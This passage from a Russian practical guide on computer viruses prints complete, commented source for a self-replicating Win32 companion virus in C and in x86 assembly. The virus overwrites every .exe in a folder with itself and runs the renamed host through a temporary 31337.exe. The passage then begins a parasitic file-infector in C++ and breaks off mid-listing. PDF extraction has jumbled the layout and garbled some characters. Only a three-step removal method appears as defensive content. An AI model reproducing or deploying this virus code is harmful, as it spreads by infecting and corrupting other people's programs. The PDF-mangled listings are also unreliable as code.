Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdf
Windows вирусы |
161 |
|
|
а) До инфицирования:
б) После инфицирования:
Перейдем к комментированному листингу:
//--------------------------------------------- |
|
#include "windows.h" |
// Используемый библиотечный файл |
//--------------------------------------------- |
|
char* preob(char *stroka) |
// Функция, преобразующая строку, заменяет последние 3 симво- |
ëà |
|
{ |
// строки на "xxx" |
int dlina; |
|
dlina=lstrlen(stroka); |
// В переменной dlina сохраняется длина строки - stroka |
stroka[dlina-3]='x'; |
// Непосредственно сама |
stroka[dlina-2]='x'; |
// замена |
stroka[dlina-1]='x'; |
// последних трех символов строки |
return stroka; |
// Выход из функции и возвращение преобразованной строки |
} |
|
//---------------------------------------------
int main(int argc, char *argv[]) // Тело основной программы
{ |
|
|
|
HANDLE find_handle; |
// Хэндл поиска |
|
|
WIN32_FIND_DATA ff; |
// Структура с |
результатами поиска |
|
double size=52736; |
// Размер вируса |
||
char *stroka; |
|
|
// Переменные, необходимые для |
char *v=" |
|
|
"; // размножения вируса |
char msg1[50]="[ VIRUS WIN32 COMPANION -=w32.sysop=- ]";// Имя вируса |
|||
find_handle=FindFirstFileA("*.exe",&ff); |
// Вызываем функцию поиска |
||
while (1) |
|
// |
Бесконечный цикл поиска и инфицирования |
{ |
|
|
|
if (ff.nFileSizeLow==size)goto nexta; |
// Если найденная программа вирус, то его |
||
|
|
// |
не заражаем |
lstrcpy(v,ff.cFileName); |
|
// |
Копируем в переменную v имя найденного файла |
stroka=ff.cFileName; |
|
// |
Переменной stroka присваиваем имя файла |
stroka=preob(stroka); |
|
// |
Затем преобразуем его расширение в *.xxx |
CopyFileA(v,stroka,1); |
|
// |
Найденный *.exe файл в файл *.xxx |
CopyFileA(argv[0],v,0); |
|
// |
Копируем вирус в найденный *.exe файл |
nexta:
if (!FindNextFileA(find_handle,&ff)) break; // Ищем следующий, если файлов нет, то // выходим из цикла
// Закрываем поиск
162 |
Windows вирусы |
|
|
stroka=argv[0]; |
// stroka присваиваем имя программы, из которой вирус запущен |
stroka=preob(stroka); |
// Преобразовываем расширение файла в *.xxx |
if(CopyFileA(stroka,"31337.exe",0)) // Копируем этот файл в 31337.exe |
|
{WinExec("31337.exe",1);} |
// Если скопирован удачно, то запускаем его |
DeleteFileA("31337.exe"); |
// После окончания его работы файл удаляем |
return(0); |
// Завершаем работу программы |
} |
|
//--------------------------------------------- |
|
Рассмотрим функционирование данного вируса более подробно. Начнем с первого блока:
//--------------------------------------------- |
|
char* preob(char *stroka) |
// Функция преобразующая строку, заменяет последние 3 символа |
{ |
// Строки на "xxx" |
int dlina; |
|
dlina=lstrlen(stroka); |
// В переменной dlina сохраняется длина строки - stroka |
stroka[dlina-3]='x'; |
// Непосредственно сама |
stroka[dlina-2]='x'; |
// замена |
stroka[dlina-1]='x'; |
// последних трех символов строки |
return stroka; |
// Выход из функции и возвращение преобразованной строки |
//--------------------------------------------- |
|
Данный блок состоит из одной функции, которая принимает один параметр — строку. Затем функция заменяет последние три символа строки на «xxx», а в качестве результата возвращает измененную строку. Данная функция необходима для преобразования имени файла из *.exe в *.xxx.
Переходим ко второму блоку:
//--------------------------------------------- |
|
HANDLE find_handle; |
// Хэндл поиска |
WIN32_FIND_DATA ff; |
// Структура с результатами поиска |
double size=52736; |
// Размер вируса |
char *stroka; |
// Переменные, необходимые для |
char *v=" |
"; // размножения вируса |
char msg1[50]="[ VIRUS WIN32 COMPANION -=w32.sysop=- ]";// Имя вируса find_handle=FindFirstFileA("*.exe",&ff); // Вызываем функцию поиска
//---------------------------------------------
Во втором блоке находится описание основных переменных и структур, также начинается поиск файла жертвы.
Переходим к третьему блоку:
//--------------------------------------------- |
|
while (1) |
// Бесконечный цикл поиска и инфицирования |
{ |
|
if (ff.nFileSizeLow==size)goto nexta; // Если найденная программа вирус, то его |
|
|
// не заражаем |
lstrcpy(v,ff.cFileName); |
// Копируем в переменную v имя найденного файла |
Windows вирусы |
|
163 |
|
|
|
stroka=ff.cFileName; |
// Переменной stroka присваиваем имя файла |
|
stroka=preob(stroka); |
// Затем преобразуем его расширение в *.xxx |
|
CopyFileA(v,stroka,1); |
// |
Найденный *.exe файл в файл *.xxx |
CopyFileA(argv[0],v,0); |
// |
Копируем вирус в найденный *.exe файл |
nexta:
if (!FindNextFileA(find_handle,&ff)) break; // Ищем следующий, если файлов нет, то
} |
// |
выходим из цикла |
FindClose(find_handle); |
// |
Закрываем поиск |
//--------------------------------------------- |
|
|
В начале данного блока идет вход в бесконечный цикл, в котором сначала происходит проверка на то, чтобы не происходило инфицирования уже зараженных программ. Далее в переменной v сохраняется имя найденного файла, а в переменную stroka помещается идентичное имя, только с расширением «*.xxx». После этого найденный файл копируется в идентичный с расширением «*.xxx», а сама вирусная программа копируется в найденный файл. Затем идет поиск следующего файла. Если файлов больше нет, то выход из цикла, и поиск закрывается.
Переходим к четвертому блоку:
//--------------------------------------------- |
|
|
|
stroka=argv[0]; |
// stroka присваиваем имя программы, из которой вирус запущен |
||
stroka=preob(stroka); |
// Преобразовываем расширение файла в |
*.xxx |
|
if(CopyFileA(stroka,"31337.exe",0)) // |
Копируем этот файл в 31337.exe |
||
{WinExec("31337.exe",1);} |
// |
Если скопирован удачно, то |
запускаем его |
DeleteFileA("31337.exe"); |
// |
После окончания его работы |
файл удаляем |
return(0); |
// Завершаем работу программы |
|
|
//--------------------------------------------- |
|
|
|
В начале данного блока в переменную stroka помещается имя программы, из которой запущен вирус. Затем расширение файла преобразуется в «*.xxx». Потом этот файл копируется в файл с именем «31337.exe» и, если копирование прошло удачно, то этот файл запускается. После завершения работы «31337.exe» данный файл удаляется, и работа вируса завершается.
Теперь аналогичный вирус, но на Ассемблере. Он, естественно, гораздо меньше, но не проще. Принцип его функционирования, как у предыдущего вируса.
Следует рассмотреть, как выглядит файл до инфицирования и после: а) до инфицирования:
б) после инфицирования:
164 Windows вирусы
Вот листинг:
;----------------------------------------------
.386
.model flat
;Ниже идут импортируемые функции
extrn |
ExitProcess:PROC |
||
extrn |
FindFirstFileA:PROC |
||
extrn |
CopyFileA:PROC |
||
extrn |
GetCommandLineA:PROC |
||
extrn |
FindNextFileA:Proc |
||
extrn |
lstrcpyA:PROC |
||
extrn |
FindClose:PROC |
||
extrn |
MessageBoxA:PROC |
||
extrn |
WinExec:PROC |
|
|
extrn |
DeleteFileA:PROC |
||
.data |
|
|
; Область данных |
EXE_file |
db |
'*.exe',0 |
|
ext |
db |
'xxx',0 |
|
exec |
db |
'exe',0 |
|
find_file |
db |
313 |
dup(?) |
host_name |
db |
100 |
dup(?) |
Find_data_name |
equ |
2ch |
|
file_size |
equ |
20h |
|
Fhandle |
dd |
? |
|
convert_name |
db |
100 |
dup(?) |
backup_name |
db |
100 |
dup(?) |
temp_file |
db |
'31337.exe',0 |
|
msg1 |
db |
'[ WIN32 COMPANION VIRUS -=w32.r3d=- ]' ; Имя вируса |
|
;---------------------------------------------- |
|||
.code |
|
|
; |
start: |
|
|
; С этого места начинается программа |
;Функция GetCommandLine()
;Возвращает в eax смещение на командную строку
Call |
GetCommandLineA |
; Данной функции параметры не передаются |
push |
eax |
; Положим в стек смещение на командную строку |
push |
offset host_name |
; Копируем ее в переменную host_name |
|
|
; |
call |
lstrcpyA |
; Вызываем функцию копирования строки |
;---------------------------------------------- |
|
|
;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)
;Возвращает хэндл поиска
push |
OFFSET |
find_file |
; |
Положим |
â ñòåê |
смещение на |
find_file |
push |
OFFSET |
EXE_file |
; |
Положим |
â ñòåê |
смещение на |
маску поиска |
call |
FindFirstFileA |
; Вызываем функцию FindFirstFileA |
|||||
cmp |
EAX, -1 |
; |
Если нет ни одного нужного нам файла, |
||||
je |
End_it |
; |
то идем на выход |
|
|||
Windows вирусы |
165 |
|
|
|
|
|
|
; Иначе |
mov |
[Fhandle],eax |
; в переменной Fhandle сохраняем хэндл поиска |
;---------------------------------------------- |
||
infect: |
|
|
mov |
esi,offset find_file+file_size ; В esi смещение на размер файла |
|
lodsd |
|
; Загружаем этот размер в eax |
cmp |
eax,4096 |
; Если это вирус, |
je |
find_next |
; то его не заражаем |
call |
convert |
; Меняем расширение файла на "*.xxx" |
push |
1 |
; Не перезаписываем |
push |
offset convert_name |
; Копируем найденный нами файл в |
push |
offset find_file + Find_data_name ; Файл с таким же именем, но |
|
|
|
; с расширением "*.xxx" |
call |
CopyFileA |
; Вызов функции копирования |
push |
0 |
; Перезаписываем |
push |
offset find_file + Find_data_name ; Копируем вирус в найденный |
|
push |
offset host_name |
; Ôàéë |
call |
CopyFileA |
; Вызов функции копирования |
find_next: |
|
|
Call |
Fnext |
; Вызов процедуры поиска |
|
|
; следующего файла |
cmp |
eax,0 |
; Если файлы закончились, |
jne |
infect |
; значит, двигаемся к выходу |
End_it: |
|
|
push |
offset [Fhandle] |
; Закрываем поиск |
call |
FindClose |
; |
call |
restore |
; Вызываем процедуру запуска |
|
|
; Оригинальной программы |
push |
0 |
; |
call |
ExitProcess |
; Завершение программы |
;---------------------------------------------- |
||
Fnext: |
|
; Процедура поиска следующего файла |
;bool FindNextFileA( handle, pointer find_file)
;Возвращает 0, если файлов больше нет, и 1 в обратном случае
push |
offset find_file |
; |
Положим |
â ñòåê |
смещение на find_file |
push |
[Fhandle] |
; |
Положим |
â ñòåê |
хэндл |
call |
FindNextFileA |
; |
Вызываем функцию поиска |
||
|
|
; следующего файла |
|||
ret |
|
; |
Возврат из процедуры |
||
;---------------------------------------------- |
|
convert2: |
|
mov esi,offset host_name |
; Процедура изменения расширения в файле, |
|
; откуда |
mov edi,offset backup_name |
; запущен вирус (на "*.xxx") |
jmp try1 |
; |
166 |
|
Windows вирусы |
|
|
|
convert: |
|
; Процедура изменения расширения найденного |
|
mov esi,offset find_file+Find_data_name ; файла на "*.xxx" |
|
|
mov edi,offset convert_name |
|
try1: |
|
|
|
lodsb |
; Загрузка байта в al из источника (esi) |
|
cmp al,'.' |
; Проверка, не точка ли это |
|
stosb |
; Помещаем байт в приемник (edi) |
|
jne try1 |
; Если точка, то меняем расширение |
|
lea esi,ext |
; В esi кладем смещение на новое расширение |
|
mov ecx,4 |
; В ecx количество байт для замены |
|
rep movsb |
; Перемещаем байты |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
restore: |
|
; Процедура запуска оригинальной программы |
|
call convert2 |
; Вызов процедуры изменения расширения файла |
|
push 0 |
; Перезаписываем, |
|
push offset temp_file |
; копируем файл с таким же именем, как тот, из |
|
push offset backup_name |
; которого мы запустились, но с расширением |
|
call CopyFileA |
; "*.xxx", â ôàéë "31337.exe" |
|
cmp eax,0 |
; Если файл не скопирован, |
|
je exit |
; то идем на выход |
|
push 1 |
; Запускаем программу "31337.exe" |
|
push offset temp_file |
; |
|
Call WinExec |
; |
|
push offset temp_file |
; После окончания работы удаляем |
|
call DeleteFileA |
; ýòîò ôàéë |
exit: |
|
|
|
ret |
; Возврат из процедуры |
;---------------------------------------------- |
|
|
end |
start |
|
;----------------------------------------------
Разберем данный вирус поподробнее. Начинаем, как обычно, с первого блока:
;---------------------------------------------- |
|
start: |
; С этого места начинается программа |
;Функция GetCommandLine()
;Возвращает в eax смещение на командную строку
Call |
GetCommandLineA |
; Данной функции параметры не передаются |
push |
eax |
; Положим в стек смещение на командную строку |
push |
offset host_name |
; Копируем ее в переменную host_name |
|
|
; |
call |
lstrcpyA |
; Вызываем функцию копирования строки |
;---------------------------------------------- |
|
|
;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)
;Возвращает хэндл поиска
push OFFSET find_file |
; Положим в стек смещение на find_file |
Windows вирусы |
167 |
|
|
|
|
push |
OFFSET EXE_file |
; Положим в стек смещение на маску поиска |
call |
FindFirstFileA |
; Вызываем функцию FindFirstFileA |
cmp |
EAX, -1 |
; Если нет ни одного нужного нам файла, |
je |
End_it |
; то идем на выход |
|
|
; Иначе |
mov |
[Fhandle],eax |
; в переменной Fhandle сохраняем хэндл поиска |
;---------------------------------------------- |
|
|
В начале данного блока мы вызываем функцию получения командной строки, затем копируем ее в переменную host_name. Далее вызываем функцию поиска первого файла, и если результаты поиска положительные, то сохраняем хэндл поиска в переменную Fhandle.
Переходим ко второму блоку:
;---------------------------------------------- |
|
|
infect: |
|
|
mov |
esi,offset find_file+file_size ; В esi смещение на размер файла |
|
lodsd |
|
; Загружаем этот размер в eax |
cmp |
eax,4096 |
; Если это вирус, |
je |
find_next |
; то его не заражаем |
call |
convert |
; Меняем расширение файла на "*.xxx" |
push |
1 |
; Не перезаписываем |
push |
offset convert_name |
; Копируем найденный нами файл в |
push |
offset find_file + Find_data_name ; файл с таким же именем, но |
|
|
|
; с расширением "*.xxx" |
call |
CopyFileA |
; Вызов функции копирования |
push |
0 |
; Перезаписываем |
push |
offset find_file + Find_data_name ; Копируем вирус в найденный |
|
push |
offset host_name |
; ôàéë |
call |
CopyFileA |
; Вызов функции копирования |
;---------------------------------------------- |
|
|
В данном блоке находится сама процедура инфицирования. В начале находится проверка на то, чтобы вирус не заражал сам себя. Самый простой путь решения этой задачи — заражать все программы, не равные по размеру 4096 байт. Затем вызывается процедура преобразования имени найденного файла в «*.xxx». После этого найденный файл копируем в файл с расширением «*.xxx» и только после этого копирования переносим тело вируса в найденный файл.
Перейдем к третьему блоку:
;---------------------------------------------- |
|
|
find_next: |
|
|
Call |
Fnext |
; Вызов процедуры поиска |
|
|
; следующего файла |
cmp |
eax,0 |
; Если файлы кончились, |
jne |
infect |
; значит, двигаемся к выходу |
End_it: |
|
|
push |
offset [Fhandle] |
; Закрываем поиск |
call |
FindClose |
; |
168 |
|
Windows вирусы |
|
|
|
call |
restore |
; Вызываем процедуру запуска |
|
|
; оригинальной программы |
push |
0 |
; |
call |
ExitProcess |
; Завершение программы |
;---------------------------------------------- |
|
|
Данный блок начинается с того, что вызывается процедура поиска следующего файла. Если файлов больше нет, поиск закрывается, производится запуск оригинальной программы, и завершается работа вируса.
Переходим к пятому блоку:
;---------------------------------------------- |
|
Fnext: |
; Процедура поиска следующего файла |
;bool FindNextFileA( handle, pointer find_file)
;Возвращает 0, если файлов больше нет и 1 в обратном случае
push |
offset find_file |
; Положим |
в стек смещение на find_file |
|
push |
[Fhandle] |
; Положим в стек хэндл |
||
call |
FindNextFileA |
; |
Вызываем функцию поиска следующего файла |
|
ret |
|
; |
Возврат |
из процедуры |
;----------------------------------------------
Это процедура поиска следующего файла. В ней, как и положено, параметры ложатся в стек в обратном порядке, вызывается сама функция FindNextFileA, и после этого управление возвращается в основную программу.
Теперь шестой блок:
;---------------------------------------------- |
|
|
convert2: |
|
|
mov esi,offset host_name |
; Процедура изменения расширения в файле |
|
|
; |
откуда |
mov edi,offset backup_name |
; запущен вирус (на "*.xxx") |
|
jmp try1 |
; |
|
convert: |
; |
Процедура изменения расширения найденного |
mov esi,offset find_file+Find_data_name ; Файла на "*.xxx" |
||
mov edi,offset convert_name |
|
|
try1: |
|
|
lodsb |
; Загрузка байта в al из источника (esi) |
|
cmp al,'.' |
; Проверка, не точка ли это |
|
stosb |
; Помещаем байт в приемник (edi) |
|
jne try1 |
; Если точка, то меняем расширение |
|
lea esi,ext |
; В esi кладем смещение на новое расширение |
|
mov ecx,4 |
; В ecx количество байт для замены |
|
rep movsb |
; Перемещаем байты |
|
ret |
; Возврат из процедуры |
|
;---------------------------------------------- |
|
|
Две процедуры полностью идентичны по логике работы. Единственное их отличие — это работа с разными переменными. Можно было бы превратить их в одну процедуру, а параметры передавать через стек, но мне это делать не нравится.
Windows вирусы |
169 |
|
|
Перейдем к последнему, седьмому блоку:
;---------------------------------------------- |
|
restore: |
; Процедура запуска оригинальной программы |
call convert2 |
; Вызов процедуры изменения расширения файла |
push 0 |
; Перезаписываем |
push offset temp_file |
; Копируем файл с именем таким же, как тот, из |
push offset backup_name |
; которого мы запустились, но с расширением |
call CopyFileA |
; "*.xxx" â ôàéë "31337.exe" |
cmp eax,0 |
; Если файл не скопирован, |
je exit |
; то идем на выход |
push 1 |
; Запускаем программу "31337.exe" |
push offset temp_file |
; |
Call WinExec |
; |
push offset temp_file |
; После окончания работы удаляем |
call DeleteFileA |
; ýòîò ôàéë |
exit: |
|
ret |
; Возврат из процедуры |
;---------------------------------------------- |
|
Это процедура запуска оригинальной программы. Зараженная программа хранится в файле с расширением «*.xxx» и с именем, как у вирусной программы. В данной процедуре мы копируем оригинальную программу во временный файл «31337.exe», после этого запускаем ее. А когда она закончит свою работу, временный файл удаляется.
Вот, в общем, и все необходимые знания для понимания работы вирусов типа companion в операционных системах семейства MS Windows.
Разберем теперь алгоритм лечения данного вируса:
1)обнаружить вирус;
2)удалить вирусную программу;
3)сменить расширение оригинальной программы на *.exe.
Глава 3 Простейшие parasitic вирусы
Вирусы, работающие по простейшему алгоритму паразитизма, функционально не отличаются друг от друга, под какую бы платформу они ни писались.
Сначала рассмотрим Windows-паразит написанный на C++. Это будет *.exe паразит, который работает по следующему алгоритму:
1)удаляем файл w32drv.exe;
2)находим все жертвы в текущем каталоге;
3)если найден файл vasya.exe, то он проверяется на инфицированность;
4)если файл vasya.exe заражен, то переходим к на шаг 1, если нет, то на
øàã 4;
5)прочитаем vasya.exe в память;
6)запишем тело вируса в vasya.exe;
7)допишем в vasya.exe из памяти тело программы;
170 |
Windows вирусы |
|
|
8)проверим, если файл, из которого мы запустились, больше длины вируса, то перепишем все, что находится после тела вируса, в файл w32drv.exe;
9)запустим его. После того, как он отработает, сменим атрибуты на «скрытый» и после этого попробуем удалить его. Атрибуты мы меняем по той причи- не, что если файл не удалится, то хотя бы видно его не будет;
10)конец.
Следует рассмотреть, как выглядит файл до инфицирования и после: а) до инфицирования:
б) после инфицирования:
Переходим к листингу:
//--------------------------------------------- |
|
#include "windows.h" |
|
bool test(WIN32_FIND_DATA ff) |
// Функция проверки на инфицированность |
{ |
|
HANDLE fh; |
// Переменные |
char buff[2000]; |
// |
fh=CreateFileA(ff.cFileName,GENERIC_READ,FILE_SHARE_READ,0,3,128,0); // Открытие
|
// файла |
ReadFile(fh,buff,2000,&ff.nFileSizeLow,NULL); // Чтение из файла 2000 байт в буфер |
|
CloseHandle(fh); |
// Закрытие файла |
if ((buff[1550]=='Q')&&(buff[1551]=='3')) {return(TRUE);} // Если файл заражен, |
|
else {return(FALSE);} |
// то возвращаем 1, иначе 0 |
} |
|
//--------------------------------------------- |
|
void restore(char *fname) |
// Функция запуска оригинального файла |
{ |
|
HANDLE mh; |
// |
HANDLE fh; |
// Переменные |
unsigned long size1; // fh=CreateFileA(fname,GENERIC_READ,FILE_SHARE_READ,0,3,128,0); //Открываем файл, из size1=GetFileSize(fh,0); // которого был запущен вирус, и получаем его размер mh=VirtualAlloc(NULL,size1,MEM_COMMIT,PAGE_READWRITE); //Выделяем память _llseek((int)fh,53248,FILE_BEGIN); // Переходим за тело вируса к программе
